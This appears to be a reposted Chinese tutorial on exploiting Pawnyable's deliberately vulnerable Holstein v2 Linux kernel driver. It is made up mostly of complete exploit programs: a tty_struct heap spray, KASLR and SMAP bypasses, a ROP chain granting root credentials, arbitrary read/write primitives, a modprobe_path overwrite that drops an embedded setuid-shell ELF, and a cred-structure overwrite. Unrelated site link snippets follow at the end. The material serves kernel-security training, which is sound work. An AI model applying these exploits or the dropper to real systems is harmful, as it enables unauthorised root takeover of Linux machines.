0011-TIPS-pawnyable : Heap-Overflow

news/2024/11/15 2:31:49/

原文
Linux Kernel PWN | 040202 Pawnyable之堆溢出
Holstein v2: Heap Overflowの悪用
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400char *g_buf = NULL;static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}static ssize_t module_read(struct file *file,char __user *buf, size_t count,loff_t *f_pos)
{printk(KERN_INFO "module_read called\n");if (copy_to_user(buf, g_buf, count)) {			// <1> OOB readprintk(KERN_INFO "copy_to_user failed\n");return -EINVAL;}return count;
}static ssize_t module_write(struct file *file,const char __user *buf, size_t count,loff_t *f_pos)
{printk(KERN_INFO "module_write called\n");if (copy_from_user(g_buf, buf, count)) {			// <2> OOB writeprintk(KERN_INFO "copy_from_user failed\n");return -EINVAL;}return count;
}static int module_close(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_close called\n");kfree(g_buf);return 0;
}static struct file_operations module_fops ={.owner   = THIS_MODULE,.read    = module_read,.write   = module_write,.open    = module_open,.release = module_close,};static dev_t dev_id;
static struct cdev c_dev;static int __init module_initialize(void)
{if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {printk(KERN_WARNING "Failed to register device\n");return -EBUSY;}cdev_init(&c_dev, &module_fops);c_dev.owner = THIS_MODULE;if (cdev_add(&c_dev, dev_id, 1)) {printk(KERN_WARNING "Failed to add cdev\n");unregister_chrdev_region(dev_id, 1);return -EBUSY;}return 0;
}static void __exit module_cleanup(void)
{cdev_del(&c_dev);unregister_chrdev_region(dev_id, 1);
}module_init(module_initialize);
module_exit(module_cleanup);

由于#define BUFFER_SIZE 0x400 ,堆溢出发生在kmalloc-1024中

POC含义

#include <fcntl.h>
#include <stdio.h>int main() {int spray[100];// 第一次堆喷 kmalloc-1024for (int i = 0; i < 50; i++)spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);// 申请包含堆溢出的 kmalloc-1024对象int fd = open("/dev/holstein", O_RDWR);// 再次申请包含堆溢出的 kmalloc-1024对象for (int i = 50; i < 100; i++)spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);char buf[0x500];memset(buf, 'A', 0x500);write(fd, buf, 0x500);
}

打开一次/dev/ptmx,会分配一个struct tty_struct对象,该对象也会分配到kmalloc-1024slab中

struct tty_struct {int	magic;struct kref kref;struct device *dev;	/* class device or NULL (e.g. ptys, serdev) */struct tty_driver *driver;const struct tty_operations *ops;// ...
} __randomize_layout;

struct tty_struct中,有const struct tty_operations *ops;,在struct tty_struct0x18偏移中,它包含了相关的操作函数,它们定义在drivers/tty/pty.c中。例如,当我们对/dev/ptmx执行open系统调用时,对应的操作函数ptmx_open将被执行:

int ptmx = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY);

在借助堆喷手法成功布置内核堆后,我们通常利用堆溢出漏洞篡改目标对象的特定函数指针,或者伪造一个函数指针表,然后在用户空间对目标对象执行系统调用,从而触发它的相应操作函数,由于该函数指针已经被篡改为一个恶意的地址,内核控制流将被劫持。
在调试源码编译的linux时,可以通过ptype /o struct tty_struct查看struct tty_struct中各字段的偏移

第一次堆喷 tty_struct

期望将slab从下面可能的形态
在这里插入图片描述
变为如下的形态
在这里插入图片描述
或者这样的形态
在这里插入图片描述

申请包含堆溢出的SLAB对象 g_buf

在这里插入图片描述

再次堆喷 tty_struct

在这里插入图片描述
使得g_buf和自己分配的tty_struct相连,就能通过溢出,操作tty_struct

漏洞利用

绕过KASLR

pwndbg> x/4xg 0xffff8880030f5000                            # g_buf
0xffff8880030f5000:	0x0000000000000000	0x0000000000000000
0xffff8880030f5010:	0x0000000000000000	0x0000000000000000
pwndbg> x/4xg 0xffff8880030f5000+0x400                      # tty_struct
0xffff8880030f5400:	0x0000000100005401	0x0000000000000000
0xffff8880030f5410:	0xffff888002669f00	0xffffffff81c38880  # tty_operations *ops

0x400是有堆溢出对象的大小,之后的0x400是堆喷的tty_struct,tty_struct的0x18处是tty_operations *ops,该处的值减去0xc38880可以获得内核基地址

绕过SMAP

观察g_buf后的tty_struct,发现该结构体偏移0x38处的值0xffff8880030fd438看起来是一个堆地址,而且刚好用用这个值减去0x438就能得到g_buf的地址:

pwndbg> x/16xg 0xffff8880030fd000+0x400
0xffff8880030fd400:	0x0000000100005401	0x0000000000000000
0xffff8880030fd410:	0xffff888002669f00	0xffffffff81c38880
0xffff8880030fd420:	0x0000000000000032	0x0000000000000000
0xffff8880030fd430:	0x0000000000000000	0xffff8880030fd438 # <<< g_buf + 0x438

在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf
在这里插入图片描述
可通过ioctl(fd_dev_ptmx, 0xdeadbeef, 0xcafebabe);来触发tty_struct->ops->ioctl调用
为了确定,ioctl在g_buf的正确偏移,可以通过设置独特的错误地址,在触发ioctl调用时,通过报错进行观察

 // craft fake function table// 想把 tty_struct -> ops的结构体填充到 g_buf起始处// 这里的目的是看当调用 tty_struct->ops_ictol时,ioctl指针在g_buf的什么位置unsigned long *p = (unsigned long *)&buf;for (int i = 0; i < 0x40; i++) {*p++ = 0xffffffffdead0000 + (i << 8);}

测试脚本

/*
观察g_buf后的tty_struct,我们发现该结构体偏移0x38处的值0xffff8880030fd438看起来是一个堆地址,
而且刚好用用这个值减去0x438就能得到g_buf的地址:pwndbg> x/16xg 0xffff8880030fd000+0x400
0xffff8880030fd400:        0x0000000100005401        0x0000000000000000
0xffff8880030fd410:        0xffff888002669f00        0xffffffff81c38880
0xffff8880030fd420:        0x0000000000000032        0x0000000000000000
0xffff8880030fd430:        0x0000000000000000        0xffff8880030fd438在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf。
我们将在用户空间中使用ioctl系统调用来触发控制流劫持,相应地,RIP将转到伪造函数表中的对应指针处。
我们先伪造一个存储非法指针的函数表,让内核崩溃,弄清楚具体是函数表中第几个函数被调用了/ # /exploit
[+] leaked kernel base address: 0xffffffff81000000
[+] leaked g_buf address: 0xffff8880030f7000
BUG: unable to handle page fault for address: ffffffffdead0c00可以看到,RIP转向了0xffffffffdead0c00,这说明ioctl对应的 tty_operations 中的处理函数索引为0xc。
*/#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>#define ofs_tty_ops 0xc38880
#define SPRAY_NUM 100unsigned long kbase;
unsigned long g_buf;int main() {int spray[SPRAY_NUM];for (int i = 0; i < SPRAY_NUM / 2; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}int fd = open("/dev/holstein", O_RDWR);if (fd == -1)perror("open");for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}char buf[0x500];read(fd, buf, 0x500);// 0x400是有堆溢出对象的大小// 0x18 是 tty_struct中 tty_operations 的偏移// ofs_tty_ops 是 ops到内核基地址的偏移kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;// 不知道是不是巧合,g_buf加0x438偏移处的内容,减去0x438正好是 g_buf的地址g_buf = *(unsigned long *)&buf[0x438] - 0x438;printf("[+] leaked kernel base address: 0x%lx\n", kbase);printf("[+] leaked g_buf address: 0x%lx\n", g_buf);// craft fake function table// 想把 tty_struct -> ops的结构体填充到 g_buf起始处// 这里的目的是看当调用 tty_struct->ops_ictol时,ioctl指针在g_buf的什么位置unsigned long *p = (unsigned long *)&buf;for (int i = 0; i < 0x40; i++) {*p++ = 0xffffffffdead0000 + (i << 8);}// 在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf*(unsigned long *)&buf[0x418] = g_buf;write(fd, buf, 0x420);// hijack control flowfor (int i = 0; i < SPRAY_NUM; i++) {ioctl(spray[i], 0xdeadbeef, 0xcafebabe);}getchar();close(fd);for (int i = 0; i < 100; i++)close(spray[i]);return 0;
}

报错如下,同时观察寄存器

/ # /exploit
[+] leaked kernel base address: 0xffffffff81000000
[+] leaked g_buf address: 0xffff8880030f7000
BUG: unable to handle page fault for address: ffffffffdead0c00RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

绕过SMEP

在g_buf中布局提权代码

由于能确定g_buf的地址,也可以确定在g_buf指向对象中tty_operations中ioctl的位置,那就可以将提权rop布置在g_buf中,通过ioctl触发rop。但是rop需要在栈中才能发挥作用,需要g_buf指向的那段空间先转换为内核栈才行。
通过绕过SMAP中

ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
报错
RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

可以通过控制ioctl的参数2、参数3控制RCX,RDX
那只要只能找到类似如下语句

push rcx; xxx; pop rsp; xxx ; ret;
或者
push rdx; xxx; pop rsp; xxx ; ret;

将ioctl的参数2,参数3设置为g_buf中rop的起始位置,通过栈迁移实现rop。
当然rop语句可能复杂,需要进行微调,如果rop链较长,可能还会从g_buf起始位置执行到ioctl处,需要绕过这一条语句
在这里插入图片描述

char buf[0x500];read(fd, buf, 0x500);kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;g_buf = *(unsigned long *)&buf[0x438] - 0x438;printf("[+] leaked kernel base address: 0x%lx\n", kbase);printf("[+] leaked g_buf address: 0x%lx\n", g_buf);// craft rop chain and fake function tableprintf("[*] crafting rop chain\n");unsigned long *chain = (unsigned long *)&buf;*chain++ = pop_rdi_ret;               // #0 return address*chain++ = 0x0;                       // #1*chain++ = prepare_kernel_cred;       // #2*chain++ = pop_rcx_ret;               // #3*chain++ = 0;                         // #4*chain++ = mov_rdi_rax_rep_movsq_ret; // #5*chain++ = commit_creds;              // #6*chain++ = pop_rcx_ret;               // #7*chain++ = 0;                         // #8*chain++ = pop_rcx_ret;               // #9*chain++ = 0;                         // #a*chain++ = pop_rcx_ret;               // #b// ropr --nouniq -R "^push rdx;.* pop rsp;.* ret" ./vmlinux// 1  0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;// 上面的 push rdx中的 rdx 是 ioctrl的第3个参数  g_buf - 0x10*chain++ = push_rdx_pop_rsp_pop2_ret; // #c -------------*chain++ = swapgs_restore_regs_and_return_to_usermode;*chain++ = 0x0;*chain++ = 0x0;*chain++ = user_rip;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;*(unsigned long *)&buf[0x418] = g_buf;printf("[*] overwriting the adjacent tty_struct\n");write(fd, buf, 0x420);printf("[*] invoking ioctl to hijack control flow\n");// hijack control flowfor (int i = 0; i < SPRAY_NUM; i++) {ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); //  2}

完整代码如下

/*
在SMEP开启但SMAP关闭的情况下,我们其实不一定非要搞内核态ROP,用户态ROP即可。利用ropr,
我们能够在vmlinux中搜到一些stack pivoting的gadgets:ropr --nouniq -R "^mov esp, 0x[0-9]*; ret" ./vmlinux
# result: 0xffffffff81516264: mov esp, 0x39000000; ret;因此,这种情况下我们完全可以在ExP中预先mmap申请到0x39000000起始的内存,在这里写入ROP链,
利用之前的堆溢出将控制流劫持到上述gadget的地址即可。然而,在SMAP开启的情况下,我们不能将stack给pivot到用户空间。我们希望能够pivot到堆上,也就是g_buf这部分我们能够写入的内核内存。
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>#define SPRAY_NUM 100#define ofs_tty_ops 0xc38880
#define prepare_kernel_cred (kbase + 0x74650)
#define commit_creds (kbase + 0x744b0)
#define pop_rdi_ret (kbase + 0x4767e0)
#define pop_rcx_ret (kbase + 0x4d52dc)
#define push_rdx_pop_rsp_pop2_ret (kbase + 0x3a478a)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x62707b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;unsigned long kbase;
unsigned long g_buf;void spawn_shell() {puts("[+] returned to user land");uid_t uid = getuid();if (uid == 0) {printf("[+] got root (uid = %d)\n", uid);} else {printf("[!] failed to get root (uid: %d)\n", uid);exit(-1);}puts("[*] spawning shell");system("/bin/sh");exit(0);
}void save_userland_state() {puts("[*] saving user land state");__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"".att_syntax");
}int main() {save_userland_state();int spray[SPRAY_NUM];printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = 0; i < SPRAY_NUM / 2; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}printf("[+] /dev/holstein opened\n");int fd = open("/dev/holstein", O_RDWR);if (fd == -1)perror("open");printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}printf("[*] leaking kernel base and g_buf with OOB read\n");char buf[0x500];read(fd, buf, 0x500);kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;g_buf = *(unsigned long *)&buf[0x438] - 0x438;printf("[+] leaked kernel base address: 0x%lx\n", kbase);printf("[+] leaked g_buf address: 0x%lx\n", g_buf);// craft rop chain and fake function tableprintf("[*] crafting rop chain\n");unsigned long *chain = (unsigned long *)&buf;*chain++ = pop_rdi_ret;               // #0 return address*chain++ = 0x0;                       // #1*chain++ = prepare_kernel_cred;       // #2*chain++ = pop_rcx_ret;               // #3*chain++ = 0;                         // #4*chain++ = mov_rdi_rax_rep_movsq_ret; // #5*chain++ = commit_creds;              // #6*chain++ = pop_rcx_ret;               // #7*chain++ = 0;                         // #8*chain++ = pop_rcx_ret;               // #9*chain++ = 0;                         // #a*chain++ = pop_rcx_ret;               // #b// ropr --nouniq -R "^push rdx;.* pop rsp;.* ret" ./vmlinux// 1  0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;// 上面的 push rdx中的 rdx 是 ioctrl的第3个参数  g_buf - 0x10*chain++ = push_rdx_pop_rsp_pop2_ret; // #c -------------*chain++ = swapgs_restore_regs_and_return_to_usermode;*chain++ = 0x0;*chain++ = 0x0;*chain++ = user_rip;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;*(unsigned long *)&buf[0x418] = g_buf;printf("[*] overwriting the adjacent tty_struct\n");write(fd, buf, 0x420);printf("[*] invoking ioctl to hijack control flow\n");// hijack control flowfor (int i = 0; i < SPRAY_NUM; i++) {ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); //  2}getchar();close(fd);for (int i = 0; i < SPRAY_NUM; i++)close(spray[i]);return 0;
}

AAR/AAW

内核任意地址读(arbitrary address read,简称AAR)
内核任意地址写(arbitrary address write,简称AAW)
还是看ioctl

ioctl(spray[i], 0xdeadbeef, 0xcafebabe);RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

ioctl的参数控制着RCX,RDX
如果g_buf中tty_operations->ioctl指向这样的rop语句,就能实现任意地址写

mov [rdx], rcx; ret;

如果指向这样的语句,通过ioctl的返回值,就能实现现任意地址读(ioctl的返回值是int类型)

mov eax, [rdx]; ret;

AAW-modprobe_path

/*
from pwn import *elf = ELF('./vmlinux')
print(hex(next(elf.search(b'/sbin/modprobe\x00'))))
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>#define SPRAY_NUM 100#define ofs_tty_ops 0xc38880
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6)
#define mov_eax_ptr_rdx_ret (kbase + 0x440428)
#define modprobe_path (kbase + 0xe38180)int fd;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x500];
char win_condition[] = "/tmp/evil";/** Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods* Dropper...:* fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);* write(fd, shellcode, shellcodeLen);* chmod("/tmp/win", 0x4755);* close(fd);* exit(0)** ... who drops some shellcode ELF:* setuid(0);* setgid(0);* execve("/bin/sh", ["/bin/sh"], NULL);*/
unsigned char dropper[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00, 0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,0xe6, 0xb0, 0x3b, 0x0f, 0x05
};void AAW32(unsigned long addr, unsigned int val) {printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);unsigned long *p = (unsigned long *)&buf;p[0xc] = mov_ptr_rdx_rcx_ret;*(unsigned long *)&buf[0x418] = g_buf;write(fd, buf, 0x420);for (int i = 0; i < SPRAY_NUM; i++)ioctl(spray[i], val /* rcx */, addr /* rdx */);
}int main() {printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = 0; i < SPRAY_NUM / 2; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}printf("[+] /dev/holstein opened\n");fd = open("/dev/holstein", O_RDWR);if (fd == -1)perror("open");printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)perror("open");}printf("[*] leaking kernel base and g_buf with OOB read\n");read(fd, buf, 0x500);kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;g_buf = *(unsigned long *)&buf[0x438] - 0x438;printf("[+] leaked kernel base address: 0x%lx\n", kbase);printf("[+] leaked g_buf address: 0x%lx\n", g_buf);for (int i = 0; i < sizeof(win_condition); i += 4)AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);FILE *fptr = fopen(win_condition, "w");if (!fptr) {puts("[!] Failed to open win condition");exit(-1);}if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {puts("[!] Failed to write win condition");exit(-1);}fclose(fptr);if (chmod(win_condition, 0777) < 0) {puts("[!] Failed to chmod win condition");exit(-1);};puts("[+] win_condition (dropper) written to /tmp/evil");puts("[*] triggering modprobe");system("chmod +x /tmp/evil");system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");system("chmod +x /tmp/pwn");system("/tmp/pwn"); // trigger modprobe_pathputs("[*] spawning root shell");system("/tmp/win");close(fd);for (int i = 0; i < SPRAY_NUM; i++)close(spray[i]);return 0;
}

AAW-爆破修改cred

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <unistd.h>#define SPRAY_NUM 100#define ofs_tty_ops 0xc38880
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6)
#define mov_eax_ptr_rdx_ret (kbase + 0x440428)void fatal(char *msg) {perror(msg);exit(-1);
}int fd;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x500];
int cache_fd = -1;unsigned int AAR32(unsigned long addr) {if (cache_fd == -1) {unsigned long *p = (unsigned long *)&buf;p[12] = mov_eax_ptr_rdx_ret;*(unsigned long *)&buf[0x418] = g_buf;write(fd, buf, 0x420);for (int i = 0; i < SPRAY_NUM; i++) {int v = ioctl(spray[i], 0, addr /* rdx */);if (v != -1) {cache_fd = spray[i];return v;}}} elsereturn ioctl(cache_fd, 0, addr);
}void AAW32(unsigned long addr, unsigned int val) {printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);unsigned long *p = (unsigned long *)&buf;p[0xc] = mov_ptr_rdx_rcx_ret;*(unsigned long *)&buf[0x418] = g_buf;write(fd, buf, 0x420);for (int i = 0; i < SPRAY_NUM; i++)ioctl(spray[i], val /* rcx */, addr /* rdx */);
}int main() {printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = 0; i < SPRAY_NUM / 2; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)fatal("open");}printf("[+] /dev/holstein opened\n");fd = open("/dev/holstein", O_RDWR);if (fd == -1)fatal("open");printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1)fatal("open");}printf("[*] leaking kernel base and g_buf with OOB read\n");read(fd, buf, 0x500);kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;g_buf = *(unsigned long *)&buf[0x438] - 0x438;printf("[+] leaked kernel base address: 0x%lx\n", kbase);printf("[+] leaked g_buf address: 0x%lx\n", g_buf);puts("[*] changing .comm to aptx4869");if (prctl(PR_SET_NAME, "aptx4869") != 0)fatal("prctl");unsigned long addr;// 找到 credfor (addr = g_buf - 0x1000000;; addr += 0x8) {if ((addr & 0xfffff) == 0)printf("[*] searching for aptx4869 at 0x%lx\n", addr);if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {printf("[+] .comm found at 0x%lx\n", addr);break;}}unsigned long addr_cred = 0;addr_cred |= AAR32(addr - 8);addr_cred |= (unsigned long)AAR32(addr - 4) << 32;printf("[+] current->cred = 0x%lx\n", addr_cred);puts("[*] changing cred to root");// 改写 credfor (int i = 1; i < 9; i++)AAW32(addr_cred + i * 4, 0);puts("[*] spawning root shell");system("/bin/sh");close(fd);for (int i = 0; i < SPRAY_NUM; i++)close(spray[i]);return 0;
}

http://www.ppmy.cn/news/493945.html

相关文章

Cortext-M3系列:调试组件(9)

1、调试组件简介 在 CM3 中有很多调试组件&#xff0c;使用它们可以执行各种调试功能&#xff1a;断点、数据观察点、闪存地址重载以及各种跟踪等。软件开发人员也许永远无需了解调试组 的细节&#xff0c;因为它们通常只是由调试器及其周边工具使用的。 本文对每种调试组件做一…

20230620----重返学习-移动端事件处理-响应式

day-095-ninety-five-20230620-移动端事件处理-响应式 移动端事件处理 移动端的事件处理 移动端事件处理 PC端主要以&#xff1a;鼠标事件、键盘事件、资源加载事件、动画事件等事件为主。 其中click在PC端是点击事件&#xff01; 移动端主要以&#xff1a;手指事件&#xf…

Android DiskLruCache完全解析,硬盘缓存的最佳方案

概述 LruCache只是管理了内存中图片的存储与释放&#xff0c;如果图片从内存中被移除的话&#xff0c;那么又需要从网络上重新加载一次图片&#xff0c;这显然非常耗时。对此&#xff0c;Google又提供了一套硬盘缓存的解决方案&#xff1a;DiskLruCache(非Google官方编写&…

求助 !cru改分辨率锁帧60hz

天选二笔记本&#xff0c;玩CSGO没有1280*960分辨率&#xff0c;显卡不支持独显直连&#xff0c;于是用CRU改了分辨率&#xff0c;现在屏幕一卡一卡的不流畅&#xff0c;刷新率从240hz锁的只有64hz&#xff0c;amd显卡驱动也打不开了&#xff0c;我把CRU卸载了也没用&#xff0…

Python opencv videocapture 网络推流/本地视频播放 获取最新帧 获取最后帧 获取实时帧

Python opencv videocapture 获取最新帧 获取最后帧 获取实时帧 获取最新图片 关键代码 allcount cap.get(cv2.CAP_PROP_FRAME_COUNT) cap.set(cv2.CAP_PROP_POS_FRAMES,allcount)完整代码 # -*- coding: utf-8 -*- import cv2 import time# 可以是网络推流地址 也可以是本…

webrtc中音频帧时间戳的打印

采集时封装格式AudioFrame:见Channel::ProcessAndEncodeAudioOnTaskQueue() audio_input->timestamp_ _timeStamp; //_timeStamp初始值为 0 _timeStamp static_cast<uint32_t>(audio_input->samples_per_channel_); audio_input->timestamp_的值为采样个数…

记录HBuilderX将uniapp项目运行到华为手机

解压并运行刚从官网下载的HBuilder X&#xff0c;新建一个项目 一、电脑下载【华为手机助手】并安装 下载地址&#xff1a; https://consumer.huawei.com/cn/support/hisuite/ 二、华为手机设置 1、手机准备&#xff1a;华为&#xff08;没有插入手机卡&#xff09;&#x…

NodeJS File Upload⑩

文章目录 ✨文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持&#x1f618;前言文件上传 后端接口 Form表单上传 Axios前后端分离上传 实现效果演示 记录 读取图片文件总结 ✨文章有误请指正&#xff0c;如果觉得对你有用&a…